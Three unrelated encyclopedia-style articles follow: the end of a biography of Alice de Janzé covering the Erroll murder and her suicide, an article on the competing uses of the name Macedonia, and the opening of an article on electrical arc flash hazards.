In his investigative book, White Mischief, journalist James Fox mentions a suspicious incident regarding Alice de Janzé and her possible connection to the crime. A few months after the murder, Alice went away for a few days and asked a neighbour to look after her house. In her absence, one of Alice's houseboys came to the neighbour, and produced a revolver, which he claimed he had found by a bridge, under a pile of stones on Alice's land.
In March 1941, British aristocrat Sir Henry John "Jock" Delves Broughton was officially charged with Lord Erroll's murder. Delves Broughton had been aware of a passionate love affair between his young wife, Diana, and Erroll, in the months before his murder. Alice paid regular visits to Delves Broughton in prison, and, with her friend Idina, the late Errol's first wife, attended every day of the trial. In July 1941, Delves Broughton was acquitted due to lack of evidence.
Paul Spicer theorizes that Alice de Janzé was the actual murderer of Lord Erroll, based on several letters that Alice's personal doctor and former lover, William Boyle, discovered in her house on the day of her death, and later handed over to the police.
Death
In August 1941, after being diagnosed with uterine cancer, Alice de Janzé underwent a hysterectomy. On 23 September, she attempted suicide by taking an overdose of pentobarbital. When her friend Patricia Bowles discovered her, she had already marked every piece of furniture with the name of the friend who would inherit it. Bowles rescued Alice by calling a doctor to pump her stomach.
A week later, on 30 September, two days after turning 42, Alice succeeded in ending her life. A servant found her dead on her bed from a self-inflicted gunshot wound, from the same weapon she had once used on Raymond and herself. Michael Kilian, who has written extensively about Alice de Janzé's life, believes that she chose suicide because she became depressed about her ageing appearance and loss of looks. It was not the first suicide in her family: her cousin, John Hellyer Silverthorne had also committed suicide by gunshot in his home in Chicago in 1933, at the age of 26.
Alice left three suicide notes, one addressed to the police, one to her daughters and one to Dickie Pembroke. The content of the letters was never publicly disclosed, fuelling rumours that they contained revelations into the Errol murder. A government official, summoned to examine her possessions, was reportedly dumbfounded when he came across the letters. After a long, secret meeting among officials, it was decided that the content of her papers and letters would not be made public. What did become known is that she had requested that her friends hold a cocktail party on her grave.
On 21 January 1942, following an inquest in Nairobi, her death was officially ruled a suicide; the finding was delayed due to the difficulty in obtaining evidence. The coroner also concluded there was no sign of insanity, but he further fuelled the conspiracy theories by stating that the content of Alice's letters were such as to merit their being destroyed, because they constituted damaging revelations of a social and political nature.
Legacy
Writer Joseph Broccoli conjectures that Alice de Janzé and the 1927 shooting served as a source of inspiration for Maria Wallis and the shooting incident in F. Scott Fitzgerald's novel Tender Is the Night (1934),
In 1982, Alice de Janzé's life was prominently featured in the investigative non-fiction book White Mischief by journalist James Fox, which examined the events surrounding the murder of Lord Erroll, the Happy Valley set, and their notorious life before and after the event. In 1987, the book was adapted into an eponymous film, directed by Michael Radford, in which Alice de Janzé was portrayed by British actress Sarah Miles. Radford was reportedly drawn to the story primarily due to an incident attributed to Alice, in which she had once flung open the shutters of her window in her house in Kenya and remarked: "Oh, God. Not another fucking beautiful day." Radford incorporated this scene into the film.
The film adaptation makes much of Alice's eccentricities, including scenes in which she watches a polo match with a snake twined around her shoulders, or doses herself with a syringe of morphine in the ladies' toilet. In 1988, Miles stated at the Cannes Film Festival that as an actress Alice de Janzé was a difficult character for her to portray. When she first arrived in Kenya, Miles sought people who knew de Janzé but was unable to learn anything substantial due to those acquaintances' confused perceptions of the woman; some were even uncertain as to her true nationality.
Michael Kilian makes reference to Alice de Janzé in his novel of historical fiction Dance on a Sinking Ship (1988), in which a character boasts of having taken her virginity, and included her as a character in another novel of historical fiction Sinful Safari (2003) in which various members of the Happy Valley set, including Alice, are suspects in a fictional murder case in 1920s Kenya. Similarly, Paul Di Filippo based Alice de Janzé and several other members of the Happy Valley set as the protagonists in his fictional story "The Happy Valley at the End of the World", part of his collection, Lost Pages (1998).
The music band Building released a song in their album Second Building that is titled Alice de Janze and is inspired by the story of de Janzé, making reference to her suicide with the lyric "you died too young".
Fashion designer Edward Finney's Spring/Summer Collection 2012 was inspired by the life of Alice de Janzé.
Descendants and relatives
Alice's elder daughter Nolwen, later Lady Clark, became a fashion designer after the war and became president of the Incorporated Society of London Fashion Designers in the 1950s. From her first marriage in 1948 (divorce 1957) to Lionel Armand-Delille (1913-2007) at Maillebois she had two children, a daughter Angélique and a son Frédéric Armand-Delille. In 1981, Angelique worked as picture assistant for the film Quartet. After Nolwén's second marriage (1961) to Edward Dennis Rice (1899-1974) at Dane Court, Nolwén in 1977 married the well known art historian Lord Clark (1903–83), director of London's National Gallery. Nolwén died on 7 March 1989 in France at the age of 67 after undergoing heart surgery.
Her second daughter, Paola, died in Normandy, close to the family property, in Dieppe on 24 December 2006 at the age of 82. After giving birth to Guillaume de Rougemont (26 October 1945 – 3 May 2020), whose father probably died in 1945, she married twice: with Walt Hayden, born 1888, she had Arthur Hayden (1947), Moya Hayden (1950) and possibly Pierre. In 1955 she married secondly the former Polish cavalry officer John Ciechanowski (1921-2008), who had participated in the Normandy Landings, became a well known jockey and later trainer at the stud farm in Lambourn for the Al-Maktoum family, reigning princes of Dubai; with him she had a son, Alexander Ciechanowski, born in 1956.
References
1899 births
1941 suicides
1941 deaths
American socialites
People from Buffalo, New York
People from Chicago
People with mood disorders
Recipients of French presidential pardons
Suicides by firearm
Suicides in the British Empire
Settlers of Kenya
French nobility
American expatriates in France
American emigrants to Kenya
White Kenyan people
1941 murders in Africa
People charged with attempted murder
Armour family
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https://en.wikipedia.org/wiki/Macedonia%20%28terminology%29
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Macedonia (terminology)
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The name Macedonia is used in a number of competing or overlapping meanings to describe geographical, political and historical areas, languages and peoples in a part of south-eastern Europe. It has been a major source of political controversy since the early 20th century. The situation is complicated because different ethnic groups use different terminology for the same entity, or the same terminology for different entities, with different political connotations.
Historically, the region has presented markedly shifting borders across the Balkan peninsula. Geographically, no single definition of its borders or the names of its subdivisions is accepted by all scholars and ethnic groups. Demographically, it is mainly inhabited by four ethnic groups, three of which self-identify as Macedonians: two, a Bulgarian and a Greek one at a regional level, while a third ethnic Macedonian one at a national level. Linguistically, the names and affiliations of languages and dialects spoken in the region are a source of controversy. Politically, the rights to the extent of the use of the name Macedonia and its derivatives has led to a diplomatic dispute between Greece and North Macedonia. After using the provisional reference of the "former Yugoslav Republic of Macedonia" (FYROM), Greece and the then-Republic of Macedonia reached an agreement that the latter would change its name to North Macedonia. It came into effect on 12 February 2019.
Etymology
The name Macedonia derives from the Greek (), a kingdom (later, region) named after the ancient Macedonians, from the Greek (), 'Macedonians', explained as having originally meant either 'the tall ones' or 'highlanders'. The word () is first attested in Herodotus as the name which the Greek ethnos was called (which was later called Dorian) when it settled around Pindus mountain range. is related to the Ancient Greek adjective (), meaning 'tall, slim', attested in Homer and Hesychius of Alexandria in its feminine form (), meaning 'long, tall'. It is cognate with the words (, 'long, large') and (, 'length'), both deriving from the Indo-European root , meaning 'long, slender'. Linguist Robert S. P. Beekes claims that both terms are of Pre-Greek substrate origin and cannot be explained in terms of Indo-European morphology; however, De Decker argues the arguments are insufficient.
History
The region of Macedonia has been home to several historical political entities, which have used the name Macedonia; the main ones are given below. The borders of each of these entities were different.
Early history
Ancient Macedonia
Macedonia or Macedon, the ancient kingdom, was located on the periphery of Archaic and Classical Greece, and later became the dominant state of Hellenistic Greece. It was centered on the fertile plains west of the Gulf of Salonica (today north-western Greece); the first Macedonian state emerged in the 8th or early 7th century BC. Its extent beyond the center varied; some Macedonian kings could not hold their capital; Philip II expanded his power until it reached from Epirus, across Thrace to Gallipoli, and from Thermopylae to the Danube. His son Alexander the Great conquered most of the land in southwestern Asia stretching from what is currently Turkey in the west to parts of India in the east. However, while Alexander's conquests are of major historical importance as having launched the Hellenistic Age, Macedon as a state had no significant territorial gains due to them. Alexander's kingdom fell apart after his death in 323 BC; several of his Successors attempted to form a kingdom for themselves in Macedonia; the kingdom formed by Antigonus Gonatas contained all the land Philip II had started with and controlled much of what is now modern Greece; it lasted until the Romans divided it into four republics in 168 BC.
Roman Macedonia
The ancient Romans had two different entities called Macedonia, at different levels. Macedonia was established as a Roman province in 146 BC. Its boundaries were shifted from time to time for administrative convenience, but during the Roman Republic and the Principate it extended west to the Adriatic and south to Central Greece.
Under Diocletian, Thessaly, including parts of West Macedonia, was split off to form a new province, and the central and southern Balkan provinces were grouped into the Diocese of Moesia. At some point in the 4th century (first securely attested in 370) this was divided into two new dioceses, the mostly Latin-speaking Diocese of Dacia in the north and the mostly Greek-speaking Diocese of Macedonia in the south. Under Constantine the Great, the western part of the province of Macedonia was also split off to form the new province of Epirus nova. After Constantine's death, the western Balkans, Macedonia included, became part of the praetorian prefecture of Illyricum.
With the exception of a short-lived division between Macedonia Prima in the south and Macedonia Salutaris in the north towards the end of the 4th century (attested only in the Notitia Dignitatum), Macedonia formed a single province until re-divided into southern and northern parts sometime in the late 5th century (the division is first securely attested in 482), although the province seems to have been reunified by 535. According to the 6th-century Synecdemus, Macedonia Prima, with Thessalonica as its capital and governed by a consularis, counted 32 cities, and Macedonia Secunda in the north, with Stobi as its capital and governed by a praeses, only eight. The approximate boundary between the two ran on a rough line from north of Bitola (which belonged to Macedonia Prima) to the area of Demir Kapija.
Byzantine Macedonia
During the 7th century, most of the Balkans were overrun by Slavic invasions, which left only the fortified towns and the coasts in the hands of the Greek-speaking Byzantine Empire. "Macedonia" was then used for a new theme in the late 8th century under Irene of Athens. Geographically however it was located in Thrace and not in Macedonia, which was under the themes of Thessalonica, Strymon and other smaller commands such as Boleron or Drougoubiteia. Themes were not named geographically and the original sense was "army". They became districts during the military and fiscal crisis of the seventh century, when the Byzantine armies were instructed to find their supplies from the locals, wherever they happened to be. Thus the Armeniac theme was considerably west of Armenia; the Thracesian Theme was in Asia Minor, not in Thrace. The Macedonian dynasty of the Byzantine Empire acquired its name from its founder, Basil I the Macedonian, an Armenian by descent, who was born in the theme of Macedonia.
The interior of Macedonia remained in Slavic and later Bulgarian hands until the campaigns of Basil II, which ended the existence of the Bulgarian state and extended Byzantine authority across the central and northern Balkans. Thereafter Macedonia remained under Byzantine control until the Fourth Crusade (1204). A short-lived Latin Kingdom of Thessalonica was established which survived until 1224, when it was captured by Epirus. Most of Macedonia then came under the control of the Empire of Nicaea in 1246, although its northern regions remained disputed with the Serbs and the Bulgarians. Most of the region was conquered by the Serbs under Stephen Dushan during the Byzantine civil war of 1341–1347. Only Thessalonica and its environs remained in Byzantine hands. By the late 14th century, the Ottoman Turks in turn had conquered the region, although Thessalonica held out under Byzantine and later Venetian control until 1430.
Ottomans and geographical Macedonia
The Ottomans did not keep Macedonia as an administrative unit: since 1864 parts of geographical Macedonia lay in three vilayets, which also comprised some non-Macedonian areas. The northern part was the Kosovo vilayet and then of Skopje; the Thessaloniki (south), and the Monastir Vilayet (western) were also created. This administrative division lasted until 1912–13, when Macedonia was divided among the Balkan states.
Modern history
Since the early stages of the Greek Revolution, the provisional government of Greece claimed Macedonia as part of Greek national territory, but the Treaty of Constantinople (1832), which established a Greek independent state, set its northern boundary between Arta and Volos. When the Ottoman Empire started breaking apart, Macedonia was claimed by all members of the Balkan League (Serbia, Montenegro, Greece and Bulgaria), and by Romania. Under the Treaty of San Stefano that ended the Russo-Turkish War, 1877–78 the entire region, except Thessaloniki, was included in the borders of Bulgaria, but after the Congress of Berlin in 1878 the region was returned to the Ottoman Empire. The armies of the Balkan League advanced and occupied Macedonia in the First Balkan War in 1912. Because of disagreements between the allies about the partition of the region, the Second Balkan War erupted, and in its aftermath the arbitrary region of Macedonia was split into the following entities, that existed or still exist in this region:
Macedonia (as a region of Greece) refers to three regions in northern Greece, incorporated in 1913, as a result of the Balkan Wars between the Ottoman Empire and the Balkan League.
Macedonia (as a People's Republic within Yugoslavia) used to refer to the People's Republic of Macedonia established in 1946, later known as the Socialist Republic of Macedonia, one of the constituent republics of the Socialist Federal Republic of Yugoslavia, renamed in 1963. Between 1929 and 1941 this region was part of Vardar Banovina province in the Kingdom of Yugoslavia.
Macedonia (as a recent sovereign state) referred to the conventional short form name of the Republic of Macedonia, after the aforementioned Socialist Republic held a referendum and established its independence from Yugoslavia on 8 September 1991. On 12 February 2019 the name of the state was changed to Republic of North Macedonia following the ratification of the Prespa agreement negotiated with Greece, thus settling the Macedonia naming dispute.
Geography
Macedonia (as a current geographical term) refers to a region of the Balkan peninsula in south-eastern Europe, covering some 60,000 or 70,000 square kilometers. Although the region's borders are not officially defined by any international organization or state, in some contexts, the territory appears to correspond to the basins of (from west to east) the Haliacmon (Aliákmonas), Vardar / Axios and Struma / Strymónas rivers, and the plains around Thessaloniki and Serres.
In a historic context, the term Macedonia was used in various ways. Macedonia was not an administrative division of the Ottoman Empire; its entire territory was part of the beylerbeylik of Rumelia. The geographer H. R. Wilkinson suggests that the region "defies definition" but that many mappers agree "on its general location". Macedonia was well enough defined in 1897 for Gladstone to propose "Macedonia for the Macedonians"; philhellenes argued that the phrase could not be used by a man of impartiallity, while Turcophiles asserted that there are six different kinds of Macedonians, and only Turkish rule could prevail total anarchy in the region. The Balkan nations began to proclaim their rights to it after the Treaty of San Stefano in 1878 and its revision at the Congress of Berlin.
Many ethnographic maps were produced in this period of controversy; these differ primarily in the areas given to each nationality within Macedonia. This was in part a result of the choice of definition: an inhabitant of Macedonia might well have different nationalities depending on whether the basis of classification was denomination, descent, language, self-identification or personal choice. In addition, the Ottoman census, taken on the basis of religion, was misquoted by all sides; descent, or "race", was largely conjectural; inhabitants of Macedonia might speak a different language at the market and at home, and the same Slavic dialect might be called Serbian "with Bulgarian influences", Macedonian, or West-Bulgarian.
These maps also differed somewhat in the boundaries given to Macedonia. Its only inarguable limits were the Aegean Sea and the Serbian and Bulgarian frontiers (as of 1885); where it bordered Old Serbia, Albania, and Thrace (all parts of Ottoman Rumelia) was debatable.
The Greek ethnographer Nicolaides, the Austrian Meinhard, and the Bulgarian Kǎnčev placed the northern boundary of Macedonia at the Šar Mountains and the Crna hills, as had scholars before 1878. The Serb Spiridon Gopčević preferred a line much further south, assigning the entire region from Skopje to Strumica to "Old Serbia"; and some later Greek geographers have defined a more restricted Macedonia. In addition, maps might vary in smaller details: as to whether this town or that was Macedonian. One Italian map included Prizren, where Nicolaides and Meinhard had drawn the boundary just south of it. On the south and west, Grevena, Korçë, and Konitsa varied from map to map; on the east, the usual line is the lower Mesta / Nestos river and then north or northwest, but one German geographer takes the line so far west as to exclude Bansko and Nevrokop / Gotse Delchev.
Subregions
The region of Macedonia is commonly divided into three major and two minor sub-regions. The name Macedonia appears under certain contexts on the major regions, while the smaller ones are traditionally referred to by other local toponyms:
Major regions
The region of Macedonia is commonly split geographically into three main sub-regions, especially when discussing the Macedonian Question. The terms are used in non-partisan scholarly works, although they are also used in ethnic Macedonian literature of an irredentist nature.
Aegean Macedonia (or Greek Macedonia) refers to an area in the south of the Macedonia region. The borders of the area are, overall, those of ancient Macedonia in Greece. It covers an area of (for discussion of the reported irredentist origin of this term, see Aegean Macedonia).
Pirin Macedonia (or Bulgarian Macedonia) is an area in the east of the Macedonia region. The borders of the area approximately coincide with those of Blagoevgrad Province in Bulgaria. It covers an area of .
Vardar Macedonia (formerly Yugoslav Macedonia) is an area in the north of the Macedonia region. The borders of the area are those of North Macedonia. It covers an area of .
Minor regions
In addition to the above-named sub-regions, there are also three smaller regions, in Albania, Kosovo and Serbia respectively. These regions are also considered geographically part of Macedonia. They are referred to by ethnic Macedonians as follows, but typically are not so referred to by non-partisan scholars.
Mala Prespa and Golo Brdo is a small area in the west of the Macedonia region in Albania, mainly around Lake Ohrid. It includes parts of the Korçë, Pogradec and Devoll districts. These districts wholly occupy about , but the area concerned is significantly smaller.
Gora (part of the municipality of Dragaš) and Prohor Pčinjski are minor parts in the north of the Macedonia region in Serbia.
Demographics
The region, as defined above, has a total population of about 5 million. The main disambiguation issue in demographics is the self-identifying name of two contemporary groups. The ethnic Macedonian population of North Macedonia self-identify as Macedonian on a national level, while the Greek Macedonians self-identify as both Macedonian on a regional, and Greek on a national level. According to the Greek arguments, the ancient Macedonians' nationality was Greek and thus, the use of the term on a national level lays claims to their history. This disambiguation problem has led to a wide variety of terms used to refer to the separate groups, more information of which can be found in the terminology by group section.
The self-identifying Macedonians (collectively referring to the inhabitants of the region) that inhabit or inhabited the area are:
As an ethnic group, Macedonians refers to the majority (58.4%, 2021) of the population of North Macedonia. Statistics for 2021 indicate the population of ethnic Macedonians within the country as c. 1,100,000. On the other hand, as a legal term, it refers to all the citizens of the Republic of North Macedonia, irrespective of their ethnic or religious affiliation. However, the preamble of the constitution distinguishes between "the Macedonian people" and the "Albanians, Turks, Vlachs, Romanics and other nationalities living in the Republic of Macedonia", but for whom "full equality as citizens" is provided. As of 2021 the total population of the country is 1,836,713.
As a regional group in Greece, Macedonians refers to ethnic Greeks (98%, 2001) living in regions referred to as Macedonia, and particularly Greek Macedonia. This group composes the vast majority of the population of the Greek region of Macedonia. The 2001 census for the total population of the Macedonia region in Greece shows 2,625,681.
The same term in antiquity described the inhabitants of the kingdom of Macedon, including their notable rulers Philip II and Alexander the Great who self-identified as Greeks.
As a regional group in Bulgaria, Macedonians refers to the inhabitants of Bulgarian Macedonia, who in their vast majority self-identify as Bulgarians at a national level and as Macedonians at a regional, but not ethnic level. As of 2001, the total population of Bulgarian Macedonia is 341,245, while the ethnic Macedonians living in the same region are 3,117. The Bulgarian Macedonians also self-identify as Piriners (, ) to avoid confusion with the neighboring ethnic group.
Macedo-Romanians can be used as an alternative name for Aromanians, people living throughout the southern Balkans, especially in northern Greece, Albania, North Macedonia and Bulgaria, and as an emigrant community in Northern Dobruja, Romania. According to Ethnologue, their total population in all countries is 306,237. This not very frequent appellation is the only one with the disambiguating portmanteau, both within the members of the same ethnic group and the other ethnic groups in the area. To make matters more confusing, Aromanians are often called by Romanians, as opposed to the citizens of North Macedonia, who are called .
The ethnic Albanians living in the region of Macedonia, as defined above, are mainly concentrated in North Macedonia (especially in the northwestern part that borders Kosovo and Albania), and less in the Albanian minor sub-region of Macedonia around the Lake Ohrid. As of 2021, the total population of Albanians in North Macedonia is 446,245 or 24.3% of the country's total population.
Linguistics
As language is one of the elements tied in with national identity, the same disputes that are voiced over demographics are also found in linguistics. There are two main disputes about the use of the word Macedonian to describe a linguistic phenomenon, be it a language or a dialect:
The origins of the Ancient Macedonian language are currently debated. At this time it is not conclusively determined whether the language/dialect was a Greek dialect related to Doric Greek or Aeolic Greek dialects among others, a sibling language of ancient Greek forming a Hellenic (i.e. Greco-Macedonian) supergroup, or viewed as an Indo-European language which is a close cousin to Greek (and perhaps somewhat related to Thracian or Phrygian languages). The scientific community generally agrees that, although sources are available (e.g. Hesychius' lexicon, Pella curse tablet) there is no decisive evidence to exclude any of the above hypotheses.
Modern Macedonian language, a South Slavic language, is not closely related to the Ancient Macedonian language. It is currently the subject of two major disputes. The first is over the name (alternative ways of referring to this language can be found in the terminology by group section and in the article Macedonian language naming dispute). The second dispute is over the existence of a Macedonian language distinct from Bulgarian, the denial of which is a position supported by nationalist groups, Bulgarian and other linguists and also by many ordinary Bulgarians.
Macedonian is also the name of a dialect of Modern Greek, a language of the Indo-European family. Additionally, Macedo-Romanian is an Eastern Romance language, spoken in Southeastern Europe by the Aromanians.
Politics
The controversies in geographic, linguistic and demographic terms, are also manifested in international politics. Among the autonomous countries that were formed as a result of the breakup of Yugoslavia in the 1990s, was the (until then) subnational entity of the Socialist Federal Republic of Yugoslavia, by the official name of "Socialist Republic of Macedonia", the others being Serbia, Slovenia, Croatia, Bosnia and Herzegovina and Montenegro. The peaceful break-away of that nation resulted in the change of its name to "Republic of Macedonia".
For almost three decades, Republic of Macedonia was the constitutional name of North Macedonia, the sovereign state which occupies the northern part of the geographical region of Macedonia, which roughly coincides with the geographic subregion of Vardar Macedonia. The former Yugoslav Republic of Macedonia (FYROM) was a term used for this state by the main international organisations, including the United Nations,
European Union,
NATO,
IMF,
WTO,
IOC,
World Bank,
EBRD,
OSCE,
FIFA,
and FIBA.
The term was introduced in 1993 by the United Nations, following a naming dispute with Greece. Some countries used this term as a stop-gap measure, pending resolution of the naming dispute.
Greece and North Macedonia each considered this name a compromise: it was opposed by some Greeks for containing the Greek self-identifying name Macedonia, and by many in North Macedonia for not being the short self-identifying name. For years Greece used it in both the abbreviated (FYROM or ) and spellout form ().
The Macedonia naming dispute ended on 12 February 2019 when the two countries reached the Prespa agreement and the then-Republic of Macedonia changed its name to North Macedonia.
Macedonia refers also to a geographic region in Greece, which roughly coincides with the southernmost major geographic subregion of Macedonia. It is divided into the three administrative sub-regions (regions) of West, Central, and East Macedonia and Thrace. The region is overseen by the Ministry for Macedonia–Thrace. The capital of Greek Macedonia is Thessaloniki, which is the largest city in the region of Macedonia; Greeks often call it the "co-capital" of Greece.
Ethnic Macedonian nationalism
Ethnic Macedonian irredentists following the idea of a "United Macedonia" have expressed claims to what they refer to as "Aegean Macedonia" (in Greece), "Pirin Macedonia" (in Bulgaria), "Mala Prespa and Golo Bardo" (in Albania), and "Gora and Prohor Pčinjski" (in Serbia).
Loring Danforth, a professor of anthropology at Bates College, asserts that ethnic Macedonian nationalists, who are concerned with demonstrating the continuity between ancient and modern Macedonians, deny they are Slavs and claim to be the direct descendants of Alexander the Great and the ancient Macedonians. Danforth stresses, however, that the more moderate Macedonian position, publicly endorsed by Kiro Gligorov, the first president of the Republic of Macedonia, is modern Macedonians have no relation to Alexander the Great, but are a Slavic people whose ancestors arrived in Macedonia in the sixth century AD. Proponents of both the extreme and the moderate Macedonian positions stress that the ancient Macedonians were a distinct non-Greek people. In addition to affirming the existence of the Macedonian nation, Macedonians are concerned with affirming the existence of a unique Macedonian language as well. They thus emphasize that the Macedonian language has a history dating to the Old Church Slavonic used by Saints Cyril and Methodius in the ninth century.
Although ethnic Macedonians agree Macedonian minorities exist in Bulgaria and Greece and these minorities have been subjected to harsh policies of forced assimilation, there are two different positions with regard to what their future should be. These were summarized by Danforth:
Schoolbooks and official government publications in the Republic have shown the country as part of an "unliberated" whole, although the constitution of the Republic, especially after its amendment in 1995, does not include any territorial claims.
Greek nationalism
Danforth describes the Greek position on Macedonia as follows: because Alexander the Great and the ancient Macedonians were Greeks, and because ancient and modern Greece are bound in an unbroken line of racial and cultural continuity, it is only Greeks who have the right to identify themselves as Macedonians. According to Danforth, this is why Greeks generally refer to Ethnic Macedonians as "Skopians", a practice comparable to calling Greeks "Athenians". Danforth asserts that the negation of Macedonian identity in Greek nationalist ideology focuses on three main points: the existence of a Macedonian nation, a Macedonian language, and a Macedonian minority in Greece. More specifically, Danforth says:
Thus from the Greek nationalist perspective the use of the term "Macedonian" by the "Slavs of Skopje" constitutes a "felony", an "act of plagiarism" against the Greek people. Greek nationalists believe that, by calling themselves "Macedonians", the ethnic Macedonians are "stealing" a Greek name, "embezzling" Greek cultural heritage, and "falsifying" Greek history. Greek fears that the use of the name "Macedonia" by the ethnic Macedonians will inevitably lead to the assertion of irredentist claims to territory in Greek Macedonia are heightened by fairly recent historical events.
From a different point of view, Demetrius Andreas M.-A. Floudas, of Hughes Hall, Cambridge, a leading commentator on the naming dispute from the Greek side, sums up this nationalistic reaction as follows: the Republic of Macedonia was accused of usurping the historical and cultural patrimony of Greece "in order to furnish a nucleus of national self-esteem for the new state and provide its citizens with a new, distinct, non-Bulgarian, non-Serbian, non-Albanian identity". The Republic emerged thus to Greek eyes as a country with a personality crisis, "a nondescript parasitic state" that lived off the history of its neighbours, because it allegedly lacked an illustrious past of its own, for the sake of achieving cohesion for what Greeks regarded as an "unhomogeneous little new nation".
Although generally supportive of the Greek position, Floudas criticises some elements of the Greek stance as follows:
As of early 2008, the official position of Greece, adopted unanimously by the four largest political parties, has made a more moderate shift towards accepting a "composite name solution" (i.e. the use of the name "Macedonia" plus some qualifier), so as to disambiguate the former Yugoslav Republic from the Greek region of Macedonia and the wider geographic region of the same name.
Names in the languages of the region
Albanian:
Aromanian: /
Bulgarian: ()
Greek: ()
Ladino: ,
Macedonian: ()
Megleno-Romanian:
Romany:
Serbian: ,
Serbian (archaic): ,
Turkish:
Terminology by group
Bulgarians and ethnic Macedonians seek to deny the self-identification of the Slavic speaking minority in northern Greece, which mostly self-identifies as Greek.
Bulgarian
Gărkomani () is a derogatory term used to refer to the largest portion of the Slavic-speaking minority of Macedonia in Greece who self-identify as Greeks.
Macedonian () is a person originating from the region of Macedonia – the term has only regional, not ethnic meaning, and it usually means a Bulgarian, or a clarification is made (Greek, Albanian...).
Macedonian () and the Slavic dialects of Greece are considered dialects of Bulgarian by Bulgarian linguists; not independent languages or dialects of other languages (e.g. Serbian). This is also the popular view in Bulgaria. The Bulgarian government, therefore, has officially recognized the language merely as "the constitutional language of the Republic of North Macedonia". Translations are officially called "adaptations".
Macedonism () is the political ideology or simply views that the Slavs of Macedonia are an ethnic group separate from Bulgarians, with their own separate language, history and culture. It is also used to describe what Bulgarians view as the falsification of their history whether by Macedonian or foreign scholars who subscribe to the Macedonist point of view. It carries strong negative connotations.
Macedonian studies () is a term generally synonymous with disciplines such as the study of the origins of the Macedonian language and history of the Macedonian people conducted in North Macedonia and in the former Yugoslavia. It is generally considered in Bulgaria to be a kind of pseudoscience.
Macedonist () is a person (typically Macedonian Slav) who believes that Macedonian Slavs are not ethnic Bulgarians but a separate ethnic group, directly descended from the ancient Macedonians. It is a more negatively charged synonym of "Macedonian nationalist". More rarely it is used for someone associated with the study of the origins of the Macedonian language and history of the Macedonian people (not necessarily from North Macedonia or Yugoslavia), whose studies support the official historical doctrine of North Macedonia or former Yugoslavia.
Sărbomani () is a derogatory term used to refer to people in North Macedonia self-identifying as Serbian, or having a pro-Serb orientation. It is also used pejoratively by Bulgarians to refer to Macedonians who refuse the Bulgarian national idea.
Old Bulgarian () is the name Bulgarians give to the Old Church Slavonic language used in the Ohrid Literary School among others. In contrast, Old Church Slavonic is rarely referred to by ethnic Macedonians as "Old Macedonian" or "Old Slavic".
Greek
Macedonia () usually refers to the region of Greek Macedonia. It can also refer to the modern general definition of Macedonia, but rarely so.
Macedonian () refers to an ethnically Greek Macedonian.
Ancient Macedonian () refers to an Ancient Macedonian.
Macedonian Slav, Slavic Macedonian or Slavomacedonian () refers to a member of the Macedonian ethnic group.
Macedonian Slavic, Slavic Macedonian or Slavomacedonian () refers to the Macedonian language.
Republic of Skopje () refers to North Macedonia.
State of Skopje () refers to North Macedonia.
Skopje, or Skopia () refers to either North Macedonia or its capital city of Skopje.
Skopjan, or Skopian () refers to a member of the ethnic Macedonian ethnic group living in the Republic or outside it, but not to any group native to Greece.
Skopiana or Skopianika ( or ) refers to the Macedonian language.
Slavophone () refers to a member of the Slavic speaking minority in Greece.
Bulgaroskopian () refers to ethnic Macedonians, implying Bulgarian ethnic affiliation.
Pseudomacedonian () refers to ethnic Macedonians, and asserts their nationhood is contrived.
The last eight terms are often considered offensive in North Macedonia.
Ethnic Macedonian
Macedonia () can refer to either the region of Macedonia or the Republic of North Macedonia.
Macedonians () generally refers to the Macedonian ethnic group associated with North Macedonia, neighbouring countries and abroad.
Aegean Macedonia ( – ) refers to Macedonia in Greece (as defined by the administrative division of Greece).
Pirin Macedonia ( – ) refers to the Blagoevgrad Province of Bulgaria (as defined by the administrative division of Bulgaria).
Bugaraši () or bugarofili () are derogatory terms used to refer to people in North Macedonia self-identifying as Bulgarian, or having a pro-Bulgarian orientation.
Egejci () refers to people living in North Macedonia and abroad that are originating from Aegean Macedonia (Greek Macedonia), mainly refugees from the Greek Civil War, also known as Aegean Macedonians.
Grkomani () is a derogatory term used to refer to the largest portion of the Slavic-speaking minority of Macedonia in Greece who self-identify as Greeks.
Srbomani () or () are derogatory terms used to refer to people in North Macedonia self-identifying as Serbian, or having a pro-Serb orientation.
The first three terms are often considered offensive in Greece.
See also
List of homonymous states and regions
Macedonians (obsolete terminology)
Notes
References
Sources
External links
Controversies in Europe
Culture-related controversies
Geography terminology
Greece–North Macedonia relations
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https://en.wikipedia.org/wiki/Arc%20flash
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Arc flash
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An arc flash is the light and heat produced as part of an arc fault, a type of electrical explosion or discharge that results from a connection through air to ground or another voltage phase in an electrical system.
Arc flash is distinctly different from the arc blast, which is the supersonic shockwave produced when the uncontrolled arc vaporizes the metal conductors. Both are part of the same arc fault, and are often referred to as simply an arc flash, but from a safety standpoint they are often treated separately. For example, personal protective equipment (PPE) can be used to effectively shield a worker from the radiation of an arc flash, but that same PPE may likely be ineffective against the flying objects, molten metal, and violent concussion that the arc blast can produce. (For example, category-4 arc-flash protection, similar to a bomb suit, is unlikely to protect a person from the concussion of a very large blast, although it may prevent the worker from being vaporized by the intense light of the flash.) For this reason, other safety precautions are usually taken in addition to wearing PPE, helping to prevent injury. However, the phenomenon of the arc blast is sometimes used to extinguish the electric arc by some types of self-blast–chamber circuit breakers.
Definition
An arc flash is the light and heat produced from an electric arc supplied with sufficient electrical energy to cause substantial damage, harm, fire, or injury. Electrical arcs experience negative incremental resistance, which causes the electrical resistance to decrease as the arc temperature increases. Therefore, as the arc develops and gets hotter the resistance drops, drawing more and more current (runaway) until some part of the system melts, trips, or evaporates, providing enough distance to break the circuit and extinguish the arc. Electrical arcs, when well controlled and fed by limited energy, produce very bright light, and are used in arc lamps (enclosed, or with open electrodes), for welding, plasma cutting, and other industrial applications. Welding arcs can easily turn steel into a liquid with an average of only 24 DC volts. When an uncontrolled arc forms at high voltages, and especially where large supply-wires or high-current conductors are used, arc flashes can produce deafening noises, supersonic concussive-forces, super-heated shrapnel, temperatures far greater than the Sun's surface, and intense, high-energy radiation capable of vaporizing nearby materials.
Arc flash temperatures can reach or exceed at the arc terminals. The massive energy released in the fault rapidly vaporizes the metal conductors involved, blasting molten metal and expanding plasma outward with extraordinary force. A typical arc flash incident can be inconsequential but could conceivably easily produce a more severe explosion (see calculation below). The result of the violent event can cause destruction of equipment involved, fire, and injury not only to an electrical worker but also to bystanders. During the arc flash, electrical energy vaporizes the metal, which changes from solid state to gas vapor, expanding it with explosive force. For example, when copper vaporizes it suddenly expands by a factor of 67,000 in volume.
